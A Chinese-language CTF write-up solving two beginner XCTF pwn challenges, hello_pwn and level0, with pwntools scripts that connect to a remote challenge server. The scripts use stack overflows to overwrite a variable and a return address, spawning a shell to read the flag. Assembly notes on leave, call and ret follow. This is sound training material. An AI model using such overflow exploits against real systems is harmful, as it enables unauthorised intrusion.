xctf-hello_pwn

题目传送门：https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5052

又是一个溢出，和昨天的有异曲同工之处：

 差4个字节，溢出改变dword_60106C的值为nuaa（注意：这里为小端存储，要写为'aaun'）

exp：

from pwn import *



#cnn = process('./hello_pwn')

cnn = remote('111.198.29.45',32280)



payload = 'a'*4+'aaun'



cnn.recvuntil('bof')



cnn.send(payload)


print(cnn.recv())


cnn.interactive()

总结：注意小端 ~~~~~~注意小端 ~~~~~注意小端~~~~~

xctf-level0

题目传送门：https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5053

拖进ida后，F5查看，发现就是输出Hello world，然后执行函数vulnerable_function()，跟进：

找到一个read，buf长度为80。长度超出80以后，会实现地址随便跳转。

汇编查看一下。可以发现，在read时，将函数的返回地址覆盖为callsystem的地址，则可以实现漏洞利用。

针对leave指令，可以知道：Leave的作用相当==mov esp,ebp和pop ebp

retn == pop eip,所以后面得再加上4*2=8个字符的leave指令，再覆盖retn pop的eip

所以构造：payload = 'a'*80+'a'*8+(callsystem的地址)，其中callsystem的地址为0x400596：

所以可以得到exp：

from pwn import *

#cnn = process('./level0')
cnn = remote('111.198.29.45',35563)

payload = 'a'*0x88+p64(0x400596)

cnn.sendline(payload)

cnn.interactive()

得到shell，然后ls查看，cat flag命令得到flag：

总结：

enter指令:
push  ebp # 将ebp压栈
mov  ebp esp # 将%esp保存到%ebp， 这两步是函数的标准开头

leave指令
leave等效于以下汇编指令：
mov   esp,ebp
pop ebp

call指令
call foo（foo是一个标号）等效于以下汇编指令：
push eip
mov  eip , foo

ret指令
ret等效于以下汇编指令：
pop  eip